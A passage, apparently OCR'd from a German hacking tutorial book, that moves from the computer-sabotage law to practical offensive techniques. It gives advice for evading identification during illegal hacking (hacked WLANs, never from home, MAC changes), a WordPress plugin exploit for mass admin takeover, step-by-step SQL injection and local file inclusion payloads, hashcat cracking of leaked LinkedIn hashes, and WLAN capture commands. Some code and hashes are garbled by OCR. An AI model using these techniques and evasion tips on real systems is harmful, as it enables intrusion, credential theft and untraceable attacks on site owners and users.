(1) Wer eine Datenverarbeitung, die für einen anderen von we- 
sentlicher Bedeutung ist, dadurch erheblich stört, dass er 

1. eine Tat nach $ 303a Abs. 1 begeht, 

2. Daten (8 202a Abs. 2) in der Absicht, einem anderen Nach- 
teil zuzufügen, eingibt oder übermittelt oder 

3. eine Datenverarbeitungsanlage oder einen Datenträger zer- 
stört, beschädigt, unbrauchbar macht, beseitigt oder verändert, 
wird mit Freiheitsstrafe bis zu drei Jahren oder mit Geldstrafe 
bestraft. 

(2) Handelt es sich um eine Datenverarbeitung, die für einen 
fremden Betrieb, ein fremdes Unternehmen oder eine Behörde 
von wesentlicher Bedeutung ist, ist die Strafe Freiheitsstrafe bis 
zu fünf Jahren oder Geldstrafe. 
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(3) Der Versuch ist strafbar. 

(4) In besonders schweren Fällen des Absatzes 2 ist die Strafe 
Freiheitsstrafe von sechs Monaten bis zu zehn Jahren. Ein be- 
sonders schwerer Fall liegt in der Regel vor, wenn der Täter 

1. einen Vermögensverlust großen Ausmaßes herbeiführt, 

2. gewerbsmäßig oder als Mitglied einer Bande handelt, die 
sich zur fortgesetzten Begehung von Computersabotage ver- 
bunden hat, 

3. durch die Tat die Versorgung der Bevölkerung mit lebens- 
wichtigen Gütern oder Dienstleistungen oder die Sicherheit der 
Bundesrepublik Deutschland beeinträchtigt. 

(5) Für die Vorbereitung einer Straftat nach Absatz 1 gilt 8 
202c entsprechend. 


Darunter fällt z.B. Webseiten lahmlegen, also DoS (= Denial of 
Service) oder eben fremde Daten löschen. 


Aber kommen wir wieder zurück zu den guten Motiven. Warum 
schreibe ich so detailliert darüber? Das Internet ist eine tolle 
Sache. Es ist in unserer Gesellschaft angekommen, akzeptiert 
und es wird nicht mehr weg gehen. Sicherheitslücken werden 
leider oft nur geschlossen, wenn öffentlich darauf aufmerksam 
gemacht wird. Ich hätte gerne ein sicheres Internet und sichere 
Systeme. Außerdem möchte ich das Thema demystifizieren. 


Auf einer relativ sicheren Seite bist du, wenn du die Privatsphä- 
re anderer respektierst oder generell sensible Daten nicht siehst 
und sie auch nicht zu Gesicht bekommen willst. 
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Bei meinen Ausflügen in die Web Sicherheit versuche ich nur 
eine Art PoC (= Proof of Concept) ohne die bösen Sachen, wo- 
bei trotzdem klar wurde, dass diese möglich wären und ein Si- 
cherheitsrisiko besteht. Wenn du dich an diese Regel hältst, ist 
das Risiko geringer. Ich melde Sicherheitslücken aber trotzdem 
nicht immer mit meinem echten Namen. Dafür ist mir das Risi- 
ko manchmal zu groß. 


Die meisten Hacker werden geschnappt, weil sie sich beim Spu- 
ren verwischen nicht genügend Mühe geben. Doch ich kann mir 
durchaus vorstellen (hust hust), dass es moralische Gründe 
gibt, um Informationen zu beschaffen, die wiederum andere 
Straftaten, wie Betrug oder moralisch Verwerfliches aufdecken. 
Allerdings ist der Weg dahin eben nicht legal. Es gibt ein paar 
Wege zur "Anonymisierung". Dies schreibe ich mit Absicht in 
Anführungszeichen. 


Anonymisierung 

VPN 

Ein "Virtual Private Network" ist ein verschlüsseltes Kommuni- 
kationsnetz. Es gibt Anbieter, die so einen Zugang bereitstellen, 
sodass für Außenstehende die IP-Adresse nicht über die Daten- 
pakete herausgefunden werden kann. 


Allerdings kennt der Anbieter über die Zahlungsmethode oder 
eventuelle E-Mailadresse die Person, die diesen Zugang nutzt. 
Solche Dienste können verwendet werden, um die Herkunft 
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beim Filme oder Serien Streaming zu verschleiern. Geoblocking 
(= Blockieren des Zugangs anhand des groben Standortes) 
kann damit umgangen werden. 


Wirklich anonym bist du damit nicht, du versteckst dich eher 
hinter einem VPN Anbieter, der sich auch an Vorschriften und 
Gesetze halten muss. 


TOR 

Ein Tool, dass ursprünglich "The Onion Routing" hieß. Hier 
werden Verbindungen vom Client zum Server durch das TOR- 
Netzwerk verschleiert. Die Verbindungen vom Client zum 
Server läuft über drei zufällig ausgewählte Zwischenknoten 
(Nodes) des Netzwerks. Die einzelnen Knoten kennen nur ihren 
direkten Kommunikationspartner, was eine gewisse Anonymität 
bringt. 


Tor ist sicherer als VPN, aber auch hier kann mit Traffic Analyse 
oder Sicherheitslücken in der Tor-Software die Quelle ausfindig 
gemacht werden. Der Aufwand ist allerdings deutlich größer. 
Wer viele Tor Knoten kennt, kennt mit immer höherer Wahr- 
scheinlichkeit auch den Ursprung einer Anfrage. 


Falls das alles nicht funktioniert, wird eben ein Hackerprofil er- 
stellt: Welche Tools benutzt er/sie, welcher Code, wurde dieser 
mehrfach verwendet, gibt es zu den Tools irgendwo öffentliche 
Inhalte, die vielleicht zu unserem Täter passen könnten? Gibt 
es Möglichkeiten mit dem Täter zu kommunizieren, einzu- 
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schleichen, vertrauen zu gewinnen oder lässt sich eine Falle 
stellen? 


Deshalb gibt es eine goldene Regel, die alle guten Grey-Hats 
befolgen sollten. Die eine goldene Regel: Niemals von zu Hause 
aus hacken! 


Wirklich anonym bleiben 

Wer es ernst meint setzt sich ins Auto oder fährt in eine größere 
Stadt, benutzt zusätzlich "Tor", weil es dir Zeit verschafft. Im 
Auto sorgt eine ordentliche WLAN-Antenne für die notwendige 
Reichweite, mit dem du irgendein offenes, geteiltes oder ge- 
hacktes WLAN anzapfst. In der Stadt reicht ein Büro, Raum, 
Hotelzimmer oder Vergleichbares und ein offenes WLAN, was 
eben nicht direkt an deinem Standort ist und wofür du keine 
persönliche Zugangsdaten brauchst. MAC-Adresse ändern nicht 
vergessen! 


Um später auch WLANs zu hacken, brauchst du ein anständiges 
Chipset, das sich in Monitor-Mode (= reicht alle Datenpakete 
ans System weiter) versetzen lässt. Von "Alfa Network" gibt es 
entsprechende WLAN USB Sticks, an die auch eine größere An- 
tenne angeschlossen werden kann. Dieser Stick läuft Plug & 
Play unter Linux/Mac und ist deshalb perfekt dafür geeignet. 


Im Falle einer VM (=Virtuelle Maschine) kannst du ein Live- 
System verwenden. Stichwort: "Tails' oder Kali Linux mit ver- 
schlüsselter Festplatte und Tor (iptables Config): 
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Vorbereitung und Anreise: 

* Handy abschalten. 

* Wasser, Snacks!!! 

* Eigenes WLAN am Laptop komplett abschalten, es darf 
nicht mal nach WLANs gesucht werden. 

* USB Hardware Weiterleitung für Virtual Box einrichten: 
Dafür ist das "VirtualBox Extension Pack" notwendig. Es 
lässt sich zusätzlich auf deren Webseite herunterladen. Bei 
Virtual Box auf Einstellungen > Zusatzpakete > Rechts das 
+ > "Extension Pack" Datei auswählen und damit aktivie- 
ren. 

In den VM (Virtuellen Maschine) Einstellungen > Ports > 
USB > + USB Stick wählen. 

* VM starten und MAC Adresse schon mal ändern. 

* Eigenen Passwortmanager dafür einrichten! Du wirst ver- 
mutlich ein paar Notizen sicher speichern müssen. 

* Neuer Sicherheitspunkt in VM erstellen, um sie danach zu- 
rück zu setzen oder komplett zu löschen. 

* Auto vorher volltanken oder Zugticket bar bezahlen. 

* Finige Zeit über die Hacker-Ethik nachdenken! 


Security Grundlagen 

Sicherheitslücken finden, Sicherheitsvorkehrungen umgehen 
und Zugriff auf andere Systeme bekommen. Wir werden unsere 
Fähigkeiten legal an dafür vorgesehener Infrastruktur testen. 
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Verwundbare Systeme, Challenges und CrackMes werden wir 
als Finstieg nutzen. 


Kali Linux installieren 
Kali Linux ist eine Distribution, die verschiedene Hackingtools 
vorinstalliert hat und auf Debian basiert. Also herunterladen! 


Die Tools sind eingeordnet in Kategorien wie: 

* Information Gathering: 
Informationsbeschaffung. Welche Server werden benutzt? 
Welche Dienste laufen dort? Wie ist die Infrastruktur? 

* Vulnerability Analysis: 
Ähnlich wie "Information Gathering". Die Tools sollen al- 
lerdings auch bekannte Sicherheitslücken ausspucken. 

* Web Application Analysis 
Webseiten auf Schwachstellen prüfen und auch automati- 
sierte Tests durchführen. 

* Database Assessment: 
In dieser Kategorie geht es um Datenbanken und hier kann 
automatisiert auf Schwachstellen getestet werden. Außer- 
dem gibt es Crawler, die komplette Webseiten prüfen. 

* Password Attacks: 
Passwort Angriffe aller Art auf Passwort Hashes (= Prüf- 
nummern) mit Brute Force (= Ausprobieren von Passwör- 
tern) oder Wörterbuchangriffe. 

* Wireless Attacks: 
Angriffe auf verschlüsselte WLANs. Mitschneiden der 
Kommunikation und knacken des Passworts. 
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* Reverse Engineering: 

Dort werden Anwendungen und Apps analysiert. 

* Exploitation Tools: 

In dieser Kategorie sind Tools, die automatisiert Sicher- 
heitslücken ausnutzen, um Zugriff auf ein System zu be- 
kommen. 

* Sniffing and Spoofing: 

Mitschneiden von Datenverkehr oder fälschen von Paketen. 
* Post Exploitation: 

Was mache ich mit dem System, wenn ich Zugriff darauf 
habe? Hier geht es darum, wie ein dauerhafter Zugang 
zum Ziel gesichert wird. 


* Forensic: 


Analyse von Datenträgern. 

* Reporting Tools: 

Statistiken und Auswertungen. 

* Social Engineering Tools: 

Phishing, gefälschte SMS und andere täuschende Maß- 
nahmen. 


Tor einrichten 


Ihr könnt Tor auch unter Kali installieren und mit proxychains 


nutzen. Proxychains wird vor ein Programm oder Befehl voran- 


gestellt. Tor kann als transparenter Proxy eingerichtet werden, 


dadurch werden alle Verbindungen über Tor geleitet. Besser 


finde ich es, wenn alle anderen Verbindungen verboten werden. 


Damit fallen weniger Metadaten an und dir ist ganz bewusst, 


welches Tool gerade aktiv kommuniziert. 
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Als Erstes installieren wir Tor und danach Proxychains: 
>>> sudo apt install tor proxychains 


>>> service tor start 


Einstellungen der Proxychains können wir ändern, aber als de- 
fault ist sowieso Tor eingestellt und es werden auch DNS Ab- 
fragen über Tor geschickt, was ein DNS Leck verhindert. 


Wir testen kurz unsere öffentliche IP: 
>>> proxychains wget -qQO - icanhazip.com 


Proxychains zeigt dir auch welche Anfragen gesendet werden. 
Dort fällt auch auf, dass der DNS Server als Default 4.2.2.2 ist. 
Wir möchten diesen gerne ändern. In meinem Beispiel benutze 
ich den DNS Server von Cloudflare. Es lassen sich aber auch 
andere offene DNS Server finden und einstellen: 


>>> nano /usr/lib/proxychains3/proxyresolv 


Dort diese Zeile anpassen: 
DNS_SERVER=$ {PROXYRESOLV_DNS:-1.1.1.1} 


Jetzt wollen wir noch alle Netzwerkverbindungen außer Tor 


verbieten. Die Anleitung dafür findet sich sogar in Ubuntu 
Users. 


Erst schauen welche IP Tables es gibt: 


>>> iptables --list 
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In meinem Beispiel gab es keine, also konnte ich direkt losle- 
gen. Wir erstellen eine Regel, die Verbindungen für den Nutzer 


Debian-Tor erlaubt: 
>>> iptables -A OUTPUT -j ACCEPT -m owner --uid-owner debian- 
tor 


Localhost soll weiterhin funktionieren: 
>>> iptables -A OUTPUT -j ACCEPT -o lo 


Wir wollen auch weiterhin Anfragen von NTP (= Network Time 


Protocol) zulassen: 
>>> iptables -A OUTPUT -j ACCEPT -p udp --dport 123 


Die wichtigste Zeile, die alle anderen Verbindungen blockiert: 
>>> iptables -P OUTPUT DROP 


Unsere Änderungen werden direkt aktiv, sind allerdings nach 
einem Neustart wieder weg. Um die Konfiguration dauerhaft zu 
speichern gibt es folgendes Paket: 


>>> apt install iptables-persistent 


Danach ist es möglich die aktuellen Regeln dauerhaft zu spei- 
chern: 


>>> iptables-save > /etc/iptables/rules.v4 


>>> ip6tables-save > /etc/iptables/rules.v6 


Die Regeln der iptables um IPv6 zu blockieren, überlasse ich 
dir. Mit ufw wird es noch ein Stück einfacher. Das Ubuntu Wiki 
hilft auch hier. 
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Falls du es iptables wieder zurück stellen möchtest, kannst du 
entweder auf deinen letzten Snapshot zurück gehen (den du 
hoffentlich gemacht hast) oder alle Regeln entfernen und wie- 
der alles erlauben: 


>>> iptables -F 

>>> iptables -P INPUT ACCEPT 
>>> iptables -P OUTPUT ACCEPT 
>>> iptables -P FORWARD ACCEPT 


Wenn wir nun Firefox normal starten, bekommen wir keine 
Verbindung. Im Terminal mit "proxychains firefox" allerdings 
schon. Der Standard Firefox ist nicht dafür ausgerichtet Finger- 
printing zu verhindern, deshalb sollen wir trotzdem den Tor 
Browser verwenden. 


Um etwas strukturiert an Kali Linux heran zu gehen, werde ich 
die Kategorien im Startmenü gliedern. Zu jeder Kategorie zeige 
ich ein Beispiel und dokumentieren wie es gelaufen ist. 


Informationen beschaffen 

Informationen über die Systeme beschaffen: Welche Dienste 
laufen, welche Domains und IP-Adressen gibt es? Wie immer 
gehen wir in die Shell und beschäftigen uns mit nmap. 


>>> nmap -sV -A ip/range/domain 


Die Option -A versucht auch noch das verwendete Betriebsys- 
tem heraus zu bekommen, welche Versionen der Dienste laufen 
und hängt noch eine Traceroute an. 
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Traceroute zeigt die Sprünge der Knotenpunkte (= Routern) an 
bis das Ziel erreicht wurde, indem es ICMP Echo Requests sen- 
det. Der Wikipedia-Eintrag darüber ist gut und der Standard (= 
RFC) ist verlinkt. Vorbildlich! 


>>> whois ip 


Zeigt Informationen über die IP an: "Internet domain name and 
network number directory service". Neben diesen Tools, gibt es 
auch noch ein gutes Infotool im Web: https://viewdns.info. 
Dort lassen sich einige Funktionen über deren Dienst ausfüh- 
ren. 


Wir können herausfinden welches System läuft, welche Ports 
offen sind, wem die Domain/IP gehört und wo sie gehostet 
bzw. registriert ist. Ich würde auch ganz andere Quellen als OS- 
INT (= Open Source Intelligence) anzapfen: Welche Personen 
haben mit unserem Ziel zu tun, bei einem Unternehmen sind 
die Mitarbeiter/-innen natürlich auch interessant. Daraus lässt 
sich ein erstes Profil erstellen. Hacker/-innen würden sich aus 
der Liste die schwächste Stelle heraussuchen. 


Sicherheitslücken analysieren 

Hier werden verschiedene Quellen oder Methoden herangezo- 
gen, um herauszufinden, welche Dienste benutzt werden und 
ob es für diese bereits bekannte Sicherheitslücken gibt. Wenn 
Sicherheitsupdates nicht zeitnah installiert werden, können sich 
Hacker/-innen ohne großen Aufwand Zugang verschaffen. 
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Hier wird das Ergebnis von nmap verarbeitet. Welche Versionen 
der Dienste laufen. Gibt es bekannte Sicherheitslücken zu die- 
sen Diensten oder Applikationen? Ist die aktuellste Version in- 
stalliert? Wenn nicht, gab es in den Changelogs Hinweise auf 
behobene Sicherheitsprobleme? 


Eine Recherche im Internet sollte Informationen hervorbringen, 
ob es bekannte Sicherheitslücken gibt. Die üblichen Exploit 
Suchmaschinen sollten auch nach der Software befragt werden 


z.B. www.exploit-db.com. 


Das grafische Tool SPARTA startet einen umfassenden Scan. Im 
Hintergrund ist es aber nichts anderes als nmap + Hydra. 
Nmap um nach den Diensten und Sicherheitslücken bzw. Ver- 
sionen zu suchen und danach Hydra, um die Dienste über unsi- 
chere Passwörter oder Brute Force zu knacken. Es sollte auch 
die Mühe wert sein, die 500 häufigsten Passwörter bei den 
Diensten auszuprobieren, denn das wäre an sich schon ein Si- 
cherheitsproblem. Unter der Kategorie "Password Attacks" las- 
sen sich auch abgewandelte Wortlisten nach Muster generieren. 
Vielleicht gibt es zu dem Ziel auch schon alte Leaks, die öffent- 
lich zu finden sind. 


Nmap zeigt auch gleich bekannte Sicherheitslücken an. Ich 


gehe nicht alle Parameter durch, aber wir erinnern uns, dass 
wir sie mit "man nmap" durchlesen können. 
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Ein erster Ansatz für bekannte Lücken wäre: 
>>> nmap --script vuln 10.10.10.160 


Dort kommt ein kleiner Report heraus, welche Sicherheitslü- 
cken erkannt wurden. Mit nmap lassen sich Serverlisten erstel- 
len, die danach in Hydra abgearbeitet werden können, um so 
z.B. Server zu übernehmen, die Standardpasswörter oder eben 
leicht zu erratende Passwörter verwenden. 


Supported services: asterisk afp cisco cisco-enable cvs firebird ftp 
ftps http[s]-{head|get} http[s]-{get |post}-form http-proxy http- 
proxy-urlenum icq imap[s] irc Idap2[s] Idap3[-{cram | digest} 
md5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanyw- 
here penfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb 
smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak 


telnet[s] vmauthd vnc xmpp 


Webanwendungen analysieren 

Viele Webseiten laufen mit Wordpress, was sich relativ leicht 
erkennen lässt, weil die wichtigen Ordner mit "wp-" anfangen. 
Wenn dort unsichere Plugins installiert sind oder vergessen 
wurde die Software zu updaten, dann hast du gute Karten den 
Server zu übernehmen. 


Wer eher auf Masse statt Klasse steht, der sucht sich zuerst ein 


Plugin mit kritischen Sicherheitslücken und sucht danach die 
Webseiten, die dieses Plugin installiert haben. So ein Script 
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lässt sich wunderbar automatisieren, sodass es zu Massenhacks 
kommen kann. Aber wieder zurück zu wpscan. 


>>> wpscan --url domain 


WPscan scannt nach Plugins, die installiert sind (oft durch erra- 
ten). Diese Liste sollten wir nach unsicheren Plugins überprü- 
fen. Das lässt sich herausfinden, indem verräterische URLs der 
Wordpress Plugins aufgerufen werden. Oft lassen sich die re- 
adme oder das Changelog finden, wodurch die Versionsnum- 
mer offen gelegt wird. Falls nun Sicherheitslücken für das Plu- 
gin in der Version bekannt sind, ist die Seite verwundbar. 


Als Beispiel habe ich auf einer Wordpress Webseite eine Instal- 
lation von foobox-image-lightbox gefunden. Die Version ist 
nicht aktuell, also schauen wir ins Changelog. Dort gibt es ei- 
nen Security Eintrag. Mit etwas Recherche im Internet konnte 
ich sogar den Git Commit (= Änderungen der Codestelle am 
Plugin) finden, der die Lücke schließt. 


Dort gab es ein Problem, was häufiger in Wordpress Plugins 
auftritt: Es gibt eine Funktion, die Wordpress Einstellungen än- 
dern lässt und sie ist nicht ausreichend abgesichert. 


Das heißt Hacker/-innen können mit einem HTTP Post Request 
konfigurieren, dass sich neue Nutzer/-innen an Wordpress an- 
melden dürfen. Besonders kritisch ist das, wenn sie vorher die 
Berechtigungen neuer Nutzer auf Administrationsrechte um- 


stellen. 
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Wir müssen also zwei Optionen ändern: 
default_role: administrator 


users_can_register: 1 


Danach können wir uns als Administrator einloggen, wodurch 
einige Türen offen stehen. Wir können über die Plugins nun 
auch PHP Code auf dem Webserver ausführen. 


Wenn der oder die Hacker/-in nur irgendeine Webseite hacken 
möchte, dann sucht er sich anhand verwundbarer Plugins die 
Webseiten aus. Das lässt sich auch komplett automatisieren, 
denn es muss nur der HTTP Post Request an die richtige URL 
geschickt werden. Danach ist die Registrierung aktiviert unter / 


wp-login.php. 
So lassen sich massenhaft und automatisiert Webseiten hacken. 


In den OWASP (= Open Web Application Security Project) Top 
10 Security Risks wird gezeigt was noch alles schief gehen 
kann. 


Datenbank Angriffe 

SQL Injection 

Datenbanken sind toll. Dort kann eine sehr große Anzahl von 
Daten gespeichert, verwaltet und abgefragt werden. Ich fing 
damals mit eine kleinen Anleitung an, hatte nur meinen Brow- 
ser und eine Suchmaschine. Ich fand damals in meiner An- 
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fangszeit SQL Injections bei der französischen Post, TV Total, 
der Bildzeitung und der Super Bowl Webseite. 


Sagen wir der/die PHP Entwickler/-in ist ganz frisch dabei und 
will eine Datenbankverbindung herstellen. Die unsichere Vari- 
ante stand sehr oft in Entwicklungsforen drin und niemand hat 
an Sicherheit gedacht. 


<h1>SQOL Injection möglich</h1> 
<?php 
Smysqli = mysqli_connect("localhost:8889", "root", "root", 
"php_test"); 
$id = $_GETL'id']; 
$res = mysqli_ query($mysqli, "SELECT * FROM test WHERE id 
= $id;"); 
$row = mysqli_fetch_assoc($res); 
echo $row[ 'title']; 
?> 


Das Problem liegt bei WHERE id = $id;. Denn diese id 
kommt direkt aus dem GET Parameter. Jeder kann diesen Pa- 
rameter in seiner Adresszeile im Browser ändern. Ich habe das 
auf meiner Laptop zum Testen aufgesetzt. 


Die URL 
http://localhost :8888/php/sql.php?id=2 


Wir werden nun die "id" etwas ändern: 
http: //localhost:8888/php/sql.php?id=1%20AND%201=2 
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%20 sind Leerzeichen in der Adresszeile, also eigentlich steht 
dort: "1 AND 1=2" Damit ändern wir die SQL Query und ma- 
chen eine logische Prüfung, ob 1=2 ist. Da diese Überprüfung 
fehlschlägt, bleibt der Inhalt auf der Seite leer. 


Wir ändern es zur Gegenprüfung in "AND 1=1" und die Seite 
erscheint wieder normal. 


Um die kompletten Inhalte aus der Datenbank damit auszule- 
sen, müssen wir wissen, wie viele Spalten die Tabelle hat. 


Wir ändern die URL in: 
http://localhost :8888/php/sql.php?id=1%200rder220by%32010-- 


Bedeutet: "id=1 order by 10". Die Seite bleibt leer, also probie- 
ren wir eine niedrigere Zahl. Dadurch tasten wir uns an die 
Spaltenanzahl heran. Die beiden Minus, würden den Rest der 
Query weg kommentieren. In meinem Beispiel wird der Inhalt 
bei "order by 4" angezeigt, aber bei "order by 5" nicht mehr. Das 
heißt, wir haben 4 Spalten in der Tabelle. 


Jetzt manipulieren wir die Query so, dass wir eine eigene Ab- 
frage machen können, dabei ist wichtig, dass wir eine "falsche 
Id" verwenden, sodass nicht mehr die ID ausgegeben werden 
kann. 
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W3schools sagt zu Union: 
The UNION operator is used to combine the result-set of two or 
more SELECT statements. Each SELECT statement within UNION 


must have the same number of columns. 


Wir hängen unser Statement SET: Keane anBo pre renG Ram. © 
SQL Injection möglich 


5726 


an und wissen bereits die 


Anzahl der Spalten: 


http://localhost :8888/php/ 


sql.php?id=-1 UNION ALL 
SELECT 1,2,3,4- 


Jetzt ist auf der Seite nur 


noch die Zahl 2 zu sehen. 
Dadurch wissen wir, dass die 
zweite Stelle auf der Webseite dargestellt wird. Das ist der Platz 
in unserer Liste, der die Ausgabe auf die Webseite zaubert. 


Ändern wir die 2 in @@version, können wir die Version der 
MySQL Datenbank auslesen. 


http://localhost :8888/php/sql.php?id=-1 UNION ALL SELECT 
1,@@version,3,4-- 


Im Test ist die MySQL Version 5.7.26. Das ist auch der Punkt an 
dem ich bei einem Test auf einer fremden Webseite aufhören 
würde. Das reicht aus, um das grundsätzliche Problem zu de- 
monstrieren. 
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Es gibt ein Tool namens "sqlmap", dass die Prüfung für dich au- 


tomatisiert: 
>>> sqlmap -u http://localhost:8888/php/sql.php?id=1 


Der ganze Angriffsprozess wird damit automatisiert und kann 
verschiedene Arten von SQL Injections überprüfen. Sogar gegen 
mehrere Ziele, aber ohne großen Mehraufwand. Aber kommen 
wir zurück zur manuellen Methode. Die gute, alte Tipparbeit! 


Was wir noch herausfinden können: 
@@hostname 

@@basedir 

user() 

database) 


Um den Tabellennamen zu lesen: 


http://localhost:8888/php/sql.php? 
id=-1%320UNION320SELECT%201,table name, 3,4%20from?%20informati- 


on schema.tables%20WHERE%20table schema=database() 


Wir lassen uns den Tabellennamen von der aktuellen Daten- 
bank geben. 


Um alle Spaltennamen zu lesen: 


http://localhost:8888/php/sql.php? 
id=-1%20UNIONS20SELECT%201,group concat (column name) ,3,4%20FRO 
M+information schema.columns®%20WHERE%20table schema=database() 


Wir machen ein group _concat an der zweiten Stelle, die Inhalte 
werden also dort erscheinen, wo vorher die 2 stand. Wir wollen 
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den column name aus dem Schema von der aktuellen Daten- 
bank lesen, deshalb noch die WHERE Bedingung auf die aktuel- 
le Datenbank. 


Als Spaltennamen hatte ich testweise: id,title,mb,test angelegt. 
Die wissen wir durch die vorherige Abfrage. Wir schreiben da- 
mit folgende SQL Injection: 


http://localhost:8888/php/sql.php? 


id=-1%20UNIONS20SELECT%2O1,group concat (id,title,mb,test),3,4% 
20FROM%20test 


Dieses Mal machen wir das group _concat von den Spaltenna- 
men, die wir nun kennen und hängen ein "FROM test" an, was 
der Name der aktuellen Tabelle ist. 


Das Ergebnis ist der Inhalt der Tabelle. Über das Schema lassen 
sich auch andere Tabellen abfragen und anzeigen. Du kannst 
dir vorstellen, was bei einer Datenbank mit Logindaten oder in 
einem Shop-System mit Zahlungsmitteln passieren könnte. 


Solche Angriffe lassen sich mit Prepared Statements verhin- 
dern, weil hier die Werte nicht im Abfragekontext hinzugefügt 
werden. Also wenn SQL benutzt werden soll, in egal welcher 
Programmiersprache, dann schaue ich wie dort Prepared 
Statements funktionieren. 


Local File Inclusion 
Wer auf Webseiten andere Dateien einbinden will, sollte darauf 
achten, dass sich der Pfad nicht ändern lässt. Auf einer NATO 


Webseite, genauer gesagt bei "Research and Technology", konn- 
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te ich über die Adresszeile den Namen der Datei ändern. Dum- 
merweise lässt sich dabei auch der Pfad in höhere Ordner len- 
ken und Dateien abrufen. Das war alles Handarbeit und ohne 
Tools. Eine klassische Local File Inclusion über den Pfad in PHP 
Übrigens lagen auf dem gleichen Server auch E-Mails, was am 
Webmailer Login zu sehen war. 


Die Sicherheitslücke wurde natürlich gemeldet und auch ge- 
schlossen. Trotzdem habe ich an diesem Tag sehr wenig ge- 
schlafen, weil nie so ganz sicher ist, wie auf Sicherheitshinwei- 
se reagiert wird. 


Ich achte auch immer darauf, nur an nicht-kritischen Dateien 


zu probieren. In diesem Beispiel mit einem Werbebanner aus 
einem anderen Ordner. 
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In der URL stand etwas wie: ?topic=topic.php. Ich änderte to- 
pic.php in ../../ um einige Ordner über den aktuellen Ordner zu 
kommen. In einem Linux System ist "../../../../../etc/passwd" 
eine gute Wahl. Dort stehen alle Benutzer drin. Falls der Web- 
server nur den Dateinamen einliest, aber die Endung .php 
selbst hinzufügt, dann kann der Pfad mit einem Null Byte %00 
terminiert werden. Also /etc/passwd%00. 


Falls das Include extern eingerichtet ist, kann ich über den Pfad 
auch ein fremdes PHP Script einbinden. Die Möglichkeiten sind 
vielfältig. Tools wie Zed Attack Proxy helfen dabei und automa- 
tisieren viele Tests. Kompliziertere Bugs sind aber nur manuell 
zu finden. 


Password Angriffe 

Es gibt zwei populäre Wege, um Passwörter anzugreifen: Die 
Wörterbuch Attacke, also bekannte Wörter/Passwörter auspro- 
bieren oder die Brute Force Methode. Die Brute Force Methode 
probiert ALLE Passwortkombinationen durch in deinem vorge- 
gebenen Bereich durch. Das kann womöglich sehr lange dau- 
ern. 


Wer sich irgendwo im Internet registriert, muss heute in den 
meisten Fällen noch seine E-Mailadresse und Passwort einge- 
ben. Wer Passwörter mehrfach verwendet hat ein Problem, falls 
eine Webseite gehackt wird und die Hacker das Passwort auf 
anderen Plattformen ausprobieren. 
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In der Datenbank sollten überhaupt keine Passwörter gespei- 
chert werden, sondern nur deren Prüfsumme. Es ist schwierig 
aus einer Prüfsumme das ursprüngliche Passwort zurück zu 
rechnen, aber möglich. Wenn ein Angreifer daraus wieder ein 
Klartext Passwort errechnet hat, kann er es mit deiner E-Mail- 
adresse auf anderen Webseiten ausprobieren (oder z.B. bei dei- 
nem E-Mailaccount). 


Nehmen wir als Beispiel den LinkedIn Leak von 2012. Dort sind 
Passwörter mit der unsicheren Prüfsumme SHAI gespeichert 
worden. Wir besorgen uns den Leak und werden die Prüfsum- 
men mit "hashcat" zurück in das Passwort umwandeln. Es gibt 
sogar ein Online-Tool, dass verschiedene Hashes (= Prüfsum- 
men) bereits geknackt und verfügbar hat. Dort lassen sich dazu 
auch direkt die Passwörter wiederfinden: www.crackstation.net 


Zur Demonstration mache ich die ursprüngliche Variante. Ich 
versuche zuerst die Wortliste mit 500 der meistbenutzten Pass- 


wörter: 
hashcat -a 0 -m 100 /media/sf_Shared_Folder/SHAl.txt /media/ 
sf_Shared_Folder/500-popular-passwords-of-all-times.txt -- 


force 


In der Hashcat Hilfe steht genau welche Parameter es gibt und 
wie ein Wörterbuchangriff gestartet werden kann. Mit entspre- 
chender Hardware und Treibern geht das noch schneller. 


Das Ergebnis sieht am Ende so aus: 
000001e4c9b93f3£f0682250b6cf8331b7ee68fd8:password 
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0000067c5cdf7813ba3clea82ff3a2b406486271:guitar 
000006ebf6a70d42f47406343df6bc9daef0d4895 :butter 
00000965764722769c087£f98121b0345a559alle:jaguar 
00000£fb29274828af22£f592134e8932480637c04:12345678 


Wer jetzt die dazugehörigen Benutzernamen hat, was im voll- 
ständigen Leak drin ist, kann sich nicht nur bei LinkedIn damit 
anmelden, sondern das gleiche Passwort auch bei anderen 
Diensten ausprobieren. Das ist auch genau der Grund, weshalb 
es besser ist einen Passwortmanager zu benutzen und zufällige 
Passwörter zu generieren. 


Es können auch bestimmte Muster getestet werden z.B. nur 


sechsstellige Zahlen: 
hashcat -a 3 -m 100 /media/sf_Shared_Folder/SHAl.txt ?d?d?d?d? 


d?d --force 


Neben diesen einfachen Varianten gibt es noch x Optionen. Wie 
nicht nur SHAI1, sondern SHAI mit Salt. Dieses Salz wird bei 
der Prüfsumme mitgegeben, wobei eben nicht immer die glei- 
che Prüfsumme entsteht. Dadurch ist es schwieriger diese Prüf- 
summen bereits vorher zu berechnen. Zu Passwort Cracking 
gehören auch verschiedene Variante von Wörterbüchern selbst 
zu erstellen. Im Idealfall weiß der Angreifer genau, welche 
Passwörter verlangt werden und kann z.B. statt alle Zahlen 
auszuprobieren auf die üblichen Varianten, wie 2019, 2020 
oder nur 20 tippen. 
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WLAN Angriffe 

Funknetzwerke mit schwachen Passwörtern können mit be- 
stimmten Tools geknackt werden. Es gibt so viele WLAN 
Hacking Tutorials, dass ich es auch nur kurz einmal durchgehe. 
Zuerst musst du dafür die VM Erweiterung installieren, sodass 
dein VM-System den USB WLAN-Adapter erkennt. Als externes 
USB WLAN mit dem richtigen Chipsatz empfehle ich: 
AWUSO36NHA von Alfa Network. Alfa Network ist dafür die 
populärste Wahl. 


In der laufenden Kali Linux VirtualBox über Devices das "Guest 
Additions CD Image" anklicken. Damit wird ein Image im CD- 
Laufwerk erkannt. Dort eine Shell starten und den angepassten 
Kernel installieren mit: 


>>> sudo sh autorun.sh 


System neu starten. 


Starten wir direkt die WLAN-Hacking Tools: 


>>> airmon-ng start wlanO 


Damit wird der Monitor Mode gestartet. Das neue Interface 
heißt in meinem Beispiel wlanOmon. 


>>> airodump-ng wlanO0mon 
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Kanal und BSSID-Adresse des gewünschten Access Points fin- 
den und speichern. Danach werden wir alle Pakete dahin auf- 
zeichnen: 


>>> airodump-ng -c 1 --bssid MAC -w dump wlanO0mon 


Während die Aufzeichnung läuft, können andere WLAN-Geräte 
abgemeldet werden, dadurch wird schneller ein WLAN Hand- 
